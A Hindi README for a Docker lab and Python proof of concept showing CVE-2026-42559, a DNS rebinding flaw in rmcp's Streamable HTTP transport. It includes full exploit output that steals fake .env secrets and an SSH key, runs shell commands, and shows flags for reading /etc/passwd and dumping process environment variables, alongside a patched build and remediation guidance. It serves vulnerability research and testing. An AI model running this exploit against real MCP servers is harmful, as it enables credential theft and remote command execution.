
# Docker लैब और Python proof-of-concept जो rmcp Streamable HTTP सर्वर ट्रांसपोर्ट (CVE-2026-42559) में अमान्य Host हेडर के माध्यम से DNS रिबाइंडिंग प्रदर्शित करता है। परीक्षण के लिए कमजोर और पैच किए गए बिल्ड शामिल हैं।
| प्रभावित | rmcp — मॉडल कॉन्टेक्स्ट प्रोटोकॉल के लिए आधिकारिक Rust SDK — < 1.4.0 |
| फिक्स्ड इन | 1.4.0 (2026-04-10) |
| CWE | CWE-346 (ओरिजिन वैलिडेशन एरर), CWE-350 |
| CVSS 3.1 | 8.8 हाई — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
rmcp < 1.4.0 में स्ट्रीमेबल HTTP सर्वर ट्रांसपोर्ट ने इनबाउंड Host हेडर का कभी निरीक्षण नहीं किया। MCP सर्वर आमतौर पर लूपबैक से बंधे होते हैं और केवल ब्राउज़र की समान-ओरिजिन नीति द्वारा सुरक्षित होते हैं — जिसे DNS रीबाइंडिंग विफल कर देती है:
http://evil.example पर जाता है, जो 1-सेकंड DNS TTL के साथ सर्व किया जाता है।evil.example → 127.0.0.1।fetch("http://evil.example:8000/mcp", …) कॉल करता है। अनुरोध पीड़ित के स्थानीय MCP सर्वर पर पहुँचता है, लेकिन ब्राउज़र इसे अभी भी समान-ओरिजिन मानता है — कोई CORS प्रीफ्लाइट नहीं, और JavaScript हर प्रतिक्रिया पढ़ सकता है।उस अनुरोध को वैध अनुरोध से अलग करने वाली एकमात्र चीज़ Host हेडर है: 127.0.0.1:8000 के बजाय evil.example:8000। कोई वैलिडेशन न होने पर, अटैकर का पेज पूरा MCP सत्र प्राप्त करता है और सर्वर द्वारा उजागर किए गए हर टूल को सूचीबद्ध और कॉल कर सकता है — फ़ाइल रीड, राइट्स, शेल निष्पादन, जो कुछ भी असिस्टेंट से जुड़ा था।
1.4.0 ने StreamableHttpServerConfig::allowed_hosts जोड़ा, जो डिफ़ॉल्ट रूप से ["localhost", "127.0.0.1", "::1"] है, और रिक्वेस्ट हैंडलर के शीर्ष पर एक validate_dns_rebinding_headers() गेट जो अन्यथा 403 Forbidden उत्तर देता है।
.
├── docker-compose.yml # दो सेवाएँ, समान स्रोत, अलग rmcp संस्करण
├── mcp-server/ # एक यथार्थवादी "डेवलपर असिस्टेंट" MCP सर्वर
│ ├── Cargo.toml
│ ├── Dockerfile # RMCP_VERSION बिल्ड आर्ग क्रेट को पिन करता है
│ └── src/main.rs
└── exploit/
└── exploit.py # PoC, Python 3.9+, कोई निर्भरता नहीं
दोनों कंटेनर समान सर्वर कॉन्फ़िगरेशन के साथ समान src/main.rs बनाते हैं। एकमात्र अंतर पिन किया गया क्रेट संस्करण है, इसलिए व्यवहार परिवर्तन पूरी तरह से लाइब्रेरी से आता है:
| सेवा | पोर्ट | rmcp | अपेक्षित |
|---|---|---|---|
vulnerable | 127.0.0.1:8000 | 1.3.0 | जाली Host स्वीकृत → पूर्ण समझौता |
patched | 127.0.0.1:8001 | 1.4.0 | जाली Host → 403 Forbidden |
सर्वर whoami, read_file और run_command उजागर करता है, और इमेज /home/dev/project/.env और /home/dev/.ssh/id_ed25519 पर नकली क्रेडेंशियल्स के साथ सीड की जाती है ताकि एक्सप्लॉइट के पास चुराने के लिए कुछ हो।
docker compose up -d --build
कमजोर बिल्ड का शोषण करें:
python3 exploit/exploit.py --target 127.0.0.1:8000
CVE-2026-42559 :: rmcp स्ट्रीमेबल HTTP -- Host हेडर मान्य नहीं है
target http://127.0.0.1:8000/mcp
legit Host 127.0.0.1:8000
rebind Host mcp-rebind.attacker.example:8000
[*] चरण 0: वैध Host हेडर के साथ बेसलाइन हैंडशेक
[+] 200 OK -- सर्वर चालू है: rmcp 1.3.0
[*] चरण 1: पोस्ट-रीबाइंड अनुरोध को फिर से चलाना (Host: mcp-rebind.attacker.example:8000)
[!] 200 OK -- जाली Host हेडर स्वीकार किया गया: CVE-2026-42559 के लिए कमजोर
[+] विदेशी ओरिजिन से सत्र खोला गया: Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57
[*] चरण 2: अब अटैकर के पेज पर उजागर हुए टूल्स की सूची बनाना
- read_file वर्कस्टेशन से एक फ़ाइल पढ़ें
- run_command वर्कस्टेशन पर एक शेल कमांड चलाएँ
- whoami उस वर्कस्टेशन का वर्णन करें जिस पर यह असिस्टेंट चलता है
[*] चरण 3: टूल्स को ऐसे कॉल करना जैसे अटैकर पेज एक स्थानीय MCP क्लाइंट हो
tools/call whoami
| user=unknown host=35b31d892a7a pid=1
tools/call read_file path=/home/dev/project/.env
| STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
| DATABASE_URL=postgres://app:[email protected]:5432/app
tools/call read_file path=/home/dev/.ssh/id_ed25519
| -----BEGIN OPENSSH PRIVATE KEY-----
| FAKE-KEY-FOR-THE-CVE-2026-42559-LAB-DO-NOT-USE
| -----END OPENSSH PRIVATE KEY-----
tools/call run_command command='id; uname -a'
| uid=1000(dev) gid=1000(dev) groups=1000(dev)
| Linux 35b31d892a7a 6.10.14-linuxkit #1 SMP aarch64 GNU/Linux
[!] वेब पेज से पीड़ित होस्ट पर मनमाना रीड और कमांड निष्पादन
फिर पैच किया गया बिल्ड, फिक्स की पुष्टि करने के लिए:
python3 exploit/exploit.py --target 127.0.0.1:8001
[*] चरण 0: वैध Host हेडर के साथ बेसलाइन हैंडशेक
[+] 200 OK -- सर्वर चालू है: rmcp 1.4.0
[*] चरण 1: पोस्ट-रीबाइंड अनुरोध को फिर से चलाना (Host: mcp-rebind.attacker.example:8001)
[+] 403 Forbidden -- निषिद्ध: Host हेडर की अनुमति नहीं है
[+] कमजोर नहीं: यह बिल्ड Host हेडर को मान्य करता है (rmcp >= 1.4.0)
एक्ज़िट कोड 1 है जब टारगेट कमजोर होता है और 0 जब नहीं होता, इसलिए स्क्रिप्ट सीधे CI में ड्रॉप हो जाती है।
उपयोगी फ्लैग्स:
python3 exploit/exploit.py \
--target 127.0.0.1:8000 \
--rebind-host wallet.attacker.example \
--loot /etc/passwd \
--command 'cat /proc/self/environ | tr "\0" "\n"'
docker compose down के साथ टियर डाउन करें।
एक्सप्लॉइट टारगेट के लिए एक TCP कनेक्शन खोलता है और एक अटैकर-नियंत्रित Host हेडर लिखता है (http.client.putrequest(..., skip_host=True))। यह बाइट-दर-बाइट वह अनुरोध है जो एक रीबाउंड ब्राउज़र उत्सर्जित करता है — DNS रीबाइंडिंग केवल वह तंत्र है जो ब्राउज़र को लूपबैक सॉकेट पर विदेशी Host भेजने के लिए प्रेरित करता है। इसे इस तरह पुन: प्रस्तुत करने से लैब दो कंटेनरों और कोई DNS इंफ्रास्ट्रक्चर तक सीमित रहती है, जबकि ठीक उसी कोड पथ का परीक्षण होता है जिसके बारे में CVE है।
// 1. अपग्रेड करें।
// rmcp = "1.4" (या बाद में)
// 2. केवल-लूपबैक 1.4.0 से डिफ़ॉल्ट है — स्थानीय रूप से बंधे सर्वर के लिए
// कुछ करने की आवश्यकता नहीं है।
let config = StreamableHttpServerConfig::default();
// 3. वास्तविक सार्वजनिक तैनाती के लिए, अपने स्वयं के नामों को अनुमत सूची में जोड़ें।
let config = StreamableHttpServerConfig::default()
.with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);
यदि आप अपग्रेड नहीं कर सकते हैं, तो MCP एंडपॉइंट को एक रिवर्स प्रॉक्सी के पीछे समाप्त करें जो अज्ञात Host मानों को अस्वीकार करता है, और सर्वर को बिना किसी के 0.0.0.0 से न बाँधें। disable_allowed_hosts() मौजूद है लेकिन यह इसी सटीक बग को फिर से पेश करता है।
यहाँ सब कुछ जानबूझकर कमजोर है और शोध और शिक्षा के लिए मौजूद है। कंटेनर डिज़ाइन द्वारा एक शेल-निष्पादन टूल उजागर करते हैं — लैब को केवल उस मशीन पर चलाएँ जो आपकी अपनी है, और एक्सप्लॉइट को कभी भी ऐसे होस्ट पर इंगित न करें जिसे आप परीक्षण करने के लिए अधिकृत नहीं हैं।